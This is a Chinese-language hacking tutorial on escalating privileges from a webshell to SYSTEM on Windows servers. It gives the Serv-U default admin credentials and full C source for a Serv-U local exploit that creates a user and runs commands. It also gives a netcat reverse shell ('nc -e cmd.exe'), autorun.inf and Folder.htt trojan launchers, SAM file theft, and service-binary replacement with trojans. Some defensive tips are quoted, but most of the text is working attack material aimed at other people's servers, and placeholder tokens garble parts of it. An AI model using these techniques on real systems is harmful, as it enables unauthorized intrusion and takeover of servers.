服务器提权方法 现在可以说网络管理员对服务器的设置是越来越BT,但BT的同时,也有朋友们对服务器的不断的测试,在测试中往往获取{zd1}的guest权限是简单的,像我们在入侵网站过程中,获取webshell是简单的,但是当由webshell的guest权限向system权限提升时却往往是止步不前。所以我有想写这样一篇文章的想法,但是在思考的过程中,又不得不承认,方法是不断的探索中出来的,方法更是有常规的也有另辟蹊径的。下面就做一些简单的介绍,对提权的方法进行一些介绍,同时也希望在更多朋友的不断回复中能够丰富我们的方法。 首先要说明的是,过早的一些漏洞我们就不再多说了,只说一些现在可以见到的吧。还有就是本文的题目是webshell下的服务器提权方法。 下面我们就进入主题,对webshell的提权方法! 首先我们要明确的是,提权一般是依靠主机所开通的服务,利用服务存在的漏洞和管理员设置的疏忽进行提权的,不过也不排除一些SB的管理员对服务器设置的似乎没有"穿衣服".下面就是针对一些常见的服务进行的提权方法。 首先,在获取webshell后,我们常见的是看一下系统的服务,查看服务可以通过利用扫描器对服务器ip进行扫描,或是在webshell中有执行dos命令时查看net start来查看主机所开放的服务。首先我们说一下从简单的开始说起: 1。pcanywhere的提权方法 pcanywhere软件我想大家都了解,为什么将它放在xx就是因为读取密码后直接连接就可以了,如果对方主机在开通了pcanywhere的服务端的话,我们看能否跳转到这个目录C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\,如果行那就{zh0}了,直接下载它的CIF文件,然后使用pcanywhere的密码读取器得到pcAnywhere密码,然后使用pcanywhere登陆即可!接下来就是可视化操作了。 2。Serv-U提权方法 Serv-u可以说是网络上比较火的一款FTP服务器软件,有许多像我这样的小黑们都是看系统服务中是否有Serv-u的系统进程来进行提权的。Serv-u的提权方法针对不同的版本也有不同的方法,这里我们就列举一二,可能不是很全,但在其他网友的回复中能够不断的补充吧! a.serv-U本地提权:serv-U本地提权一般是利用溢出程序对serv-u的设置上的缺陷进行添加超级账户的功效。例如Xiaolu写的serv-u.exe就是利用sevr-u的默认管理端口,管理员账号和密码进行提权的,默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理,利用本地提权的关键就是寻xxx器文件目录中的everyone权限目录,下面我给大家列举些常见的everyone权限目录: c:\winnt\system32\inetsrv\data\ 是erveryone xx控制,很多时候没作限制,把提升权限的上传上去,然后执行 c:\prel C:\Program Files\Java Web Start\ c:\Documents and Settings\ C:\Documents and Settings\All Users\Documents\ 很多时候data目录不行,试试这个很多主机都是erveryone xx控制! C:\Program Files\Microsoft SQL Server\ c:\Temp\ c:\mysql\(如果服务器支持PHP) c:\PHP(如果服务器支持PHP) 上面一些目录就是常见的,不过也不排除一些特殊的,像江民的kv2004对文件夹的权限设置就不是很严格的。 不过针对本地提权是可以防范的,下面是我在xiaolu的文章中节选的: 防止办法和对策: 一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。 对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:\php,x:\perl等,因为这种目录都是everyonexx控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。 高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到{zh1}一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了: TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING 对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式: USAGE: serv-u.exe port "command" Example: serv-u.exe 43958 "net user xl xiaoxue /add" 更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。 对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:\Program Files\Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。 {zj2}防御: 1.设置好目录权限,不要疏忽大意; 2.Serv-U{zh0}不要使用默认安装路径,设置Serv-U目录的权限,只有管理员才能访问; 3.用我介绍的办法修改Serv-U的默认管理员名字和密码,喜欢的话端口也可以改掉。 =========== 同时在网上找到了serv-u.exe的源代码附上,供大家参阅 //==================================================== pragma comment(lib,"ws2_32.lib") #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #include <io.h> #include <process.h> //Responses #define BANNER "220 " #define USEROK "331 User name okay" #define PASSOK "230 User logged in, proceed." #define ADMOK "230-Switching to SYSTEM MAINTENANCE mode." #define DOMAINID "200-DomainID=" //Commands #define XPLUSER "USER xl\r\n" #define XPLPASSWORD "PASS 111111\r\n" #define USER "USER LocalAdministrator\r\n" #define PASSWORD "PASS #l@$ak#.lk;0@P\r\n" #define MAINTENANCE "SITE MAINTENANCE\r\n" #define EXIT "QUIT\r\n" char newdomain[]="-SETDOMAIN\r\n" "-Domain=xl|0.0.0.0|2121|-1|1|0\r\n" "-TZOEnable=0\r\n" " TZOKey=\r\n"; /* "-DynDNSEnable=0\r\n" " DynIPName=\r\n"; */ char deldomain[]="-DeleteDOMAIN\r\n" "-IP=0.0.0.0\r\n" " PortNo=2121\r\n"; char newuser[] = "-SETUSERSETUP\r\n" "-IP=0.0.0.0\r\n" "-PortNo=2121\r\n" "-User=xl\r\n" "-Password=111111\r\n" "-HomeDir=c:\\\r\n" "-LoginMesFile=\r\n" "-Disable=0\r\n" "-RelPaths=1\r\n" "-NeedSecure=0\r\n" "-HideHidden=0\r\n" "-AlwaysAllowLogin=0\r\n" "-ChangePassword=0\r\n" "-QuotaEnable=0\r\n" "-MaxUsersLoginPerIP=-1\r\n" "-SpeedLimitUp=0\r\n" "-SpeedLimitDown=0\r\n" "-MaxNrUsers=-1\r\n" "-IdleTimeOut=600\r\n" "-SessionTimeOut=-1\r\n" "-Expire=0\r\n" "-RatioUp=1\r\n" "-RatioDown=1\r\n" "-RatiosCredit=0\r\n" "-QuotaCurrent=0\r\n" "-QuotaMaximum=0\r\n" "-Maintenance=System\r\n" "-PasswordType=Regular\r\n" "-Ratios=None\r\n" " Access=c:\\|RWAMELCDP\r\n"; #define localip "127.0.0.1" char cadena[1024]; int rec,domain; /******************************************************************************/ void ParseCommands(int sock, char *data, int ShowSend, int showResponses, char *response) { send(sock,data,strlen(data),0); if (ShowSend) printf(">%s",data); Sleep(100); do { rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]=\0; if (rec<=0) return; if (showResponses) printf("<%s",cadena); if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0) domain=atoi(cadena+strlen(DOMAINID)); //} while (strncmp(cadena,response,strlen(response))!=0); } while (strstr(cadena,response)==NULL); printf("******************************************************\r\n"); } /******************************************************************************/ int main(int argc, char* argv[]) { WSADATA ws; int sock,sock2; struct sockaddr_in su; struct sockaddr_in xpl; printf("Serv-u >3.x Local Exploit by xiaolu\r\n\r\n"); if (argc<3) { printf("USAGE: serv-u.exe port \"command\"\r\n"); printf("Example: serv-u.exe 43958 \"net user xl xiaoxue /add\""); return(0); } if (WSAStartup( MAKEWORD(2,2), &ws )!=0) { printf(" [-] WSAStartup() error\n"); exit(0); } su.sin_family = AF_INET; su.sin_port = htons(strtoul(argv[1],NULL,10)); su.sin_addr.s_addr = inet_addr(localip); sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock,( struct sockaddr *)&su,sizeof(su)); rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]=\0; printf("<%s",cadena); ParseCommands(sock,USER,1,1,USEROK); ParseCommands(sock,PASSWORD,1,1,PASSOK); ParseCommands(sock,MAINTENANCE,1,0,"230 "); printf("[+] Creating New Domain...\r\n"); ParseCommands(sock,newdomain,0,1,BANNER); printf("[+] Domain xl:%i Created\n",domain); /* Only for v5.x printf("[+] Setting New Domain Online\r\n"); sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n Command=DomainOnline\r\n",domain); ParseCommands(sock,cadena,0,1,BANNER); */ printf("[+] Creating Evil User\r\n"); ParseCommands(sock,newuser,0,1,"200 "); Sleep(1000); printf("[+] Now Exploiting...\r\n"); xpl.sin_family = AF_INET; xpl.sin_port = htons(2121); xpl.sin_addr.s_addr = inet_addr(localip); sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl)); rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]=\0; ParseCommands(sock2,XPLUSER,1,1,USEROK); ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK); printf("[+] Now Executing: %s\r\n",argv[2]); sprintf(cadena,"site exec %s\r\n",argv[2]); send(sock2,cadena,strlen(cadena),0); shutdown(sock2,SD_BOTH); Sleep(100); ParseCommands(sock,deldomain,0,1,BANNER); send(sock,EXIT,strlen(EXIT),0); shutdown(sock,SD_BOTH); closesocket(sock); closesocket(sock2); return 0; } c.serv-U管理端口定向转发法:这里需要使用的是FPipe.exe 我们要知道Serv-u默认本地管理端口是:43958,这个是只允许本地ip127.0.0.1进行登陆和管理的,那么我们就想能不能通过端口转向来远程管理呢?所以我们用到FPipe.exe,首先是将FPipe.exe上传至服务器中,然后再cmd下执行 Fpipe.exe -v -l 12345-r 43958 127.0.0.1 这里要说明的是,这段字符的意思是当访问12345端口时就会自动转向43958端口,也就是serv-u的管理端口 所以我们在本地安装一个Serv-u, 新建一个服务器,填入对方IP, user: LocalAdministrator pass: #l@$ak#.lk;0@P 连接上后你就可以管理他的Serv-u了,剩下的操作就是执行上面提到的方法了! =================================================== Serv-U的方法我就总结出这几个来,可能还有其他的方法我没有看到吧 不过个人认为关键还是本地溢出漏洞的应用要比较多一些,所以网上也常常出现serv-u的本机溢出程序 不同版本的更是层出不穷,前一段时间针对serv-u6.0.2的修改了默认管理员账号和密码的相关文章还请大家参照校园联盟的小鱼修炼中的文章。 Serv-U的提权文章就暂时先总结到这里,有更好的方法还请大家回复! 3.Autorun方法:这种方法也可以说是比较古老的方法,最初应该是从光盘自动播放中寻找到的灵感吧?不进行细说,给出格式即可 制作一个Autoruan.inf文件.内容如下 [AutoRun] open=bear.exe bear.exe为木马程序,与autorun.inf放在同一目录下! 4。SAMxx方法: 进入C:\WINNT\system32\config\ 下载他的SAM文件用lc等xxxx。 5。相关脚本提权方法:前面的serv-u的ftp提权中提过的vbs这里再说下.进入c:\Documents and Settings\All Users\「开始」菜单\程序\启动 写入bat或vbs文件。这种方法也是属于守株待兔类的,只有在对方主机重起以后才可以达到目的。 6。NC的反弹提权:这里就要说NC的相关用法了,如果在对方服务器中有足够的权限执行nc的话就好了,把它反弹到自己的电脑上,你就可以进行相关操作了!瑞士军刀具体方法不多说,给出格式,如下: server:nc -e cmd.exe ip 1234 client: nc -l -p 1234 7。conn等asp文件中泄漏SQL帐户密码方法:这种方法说起来应该算是比较侥幸的方法。曾经马俊和我说过一次,原来没有太在意,现在还真的感觉有些好用了,找到账号密码和数据库名在对方没有删除xp_cmdshell条件下用sql连接连接即可,连接上后就可以输入你想要的CMD命令了。 8。VNC的相关提权:VNC也是一个类似pcanywhere的远程管理软件,在linux应用广泛,曾经在看台湾的一些服务器中有很多使用VNC的,方法也是我在网络中学到的,不过在应用中就成功过一次,比较郁闷!方法就转载一下吧,网址: 还有要补充的就是vnc是可以反向连接的,这个方法我没有试过,只是曾经看影子做过一个视频动画。 9。desktop.ini与Folder.htt方法。(此方法是在网络看到的)方法如下:首先建立一个文件夹,进入,在空白处点右键,选择“自定义文件夹”一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,如果看不到,就把显示所有文件给选上,然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码:<OBJECT ID=“RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=“木马名”></OBJECT> 然后你将你的木马文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的木马,此方法也属于类似autorun的守株待兔方法。 10。替换服务提权:我认为比较复杂,不过有些时候也实用,首先是看服务进程,在看我们是否有执行命令的权限,这里要用到的命令是rename,相关用法: C:\>rename /? 重命名文件。 RENAME [drive:][path]filename1 filename2. REN [drive:][path]filename1 filename2. 例如替换c:\kv2004\kv.exe的进程 rename c:\kv2004\kv.exe bear.exe 然后再将我们的本地木马文件命名为kv.exe上传到c:\kv2004\目录下,等待对方重新起动机算机即可! |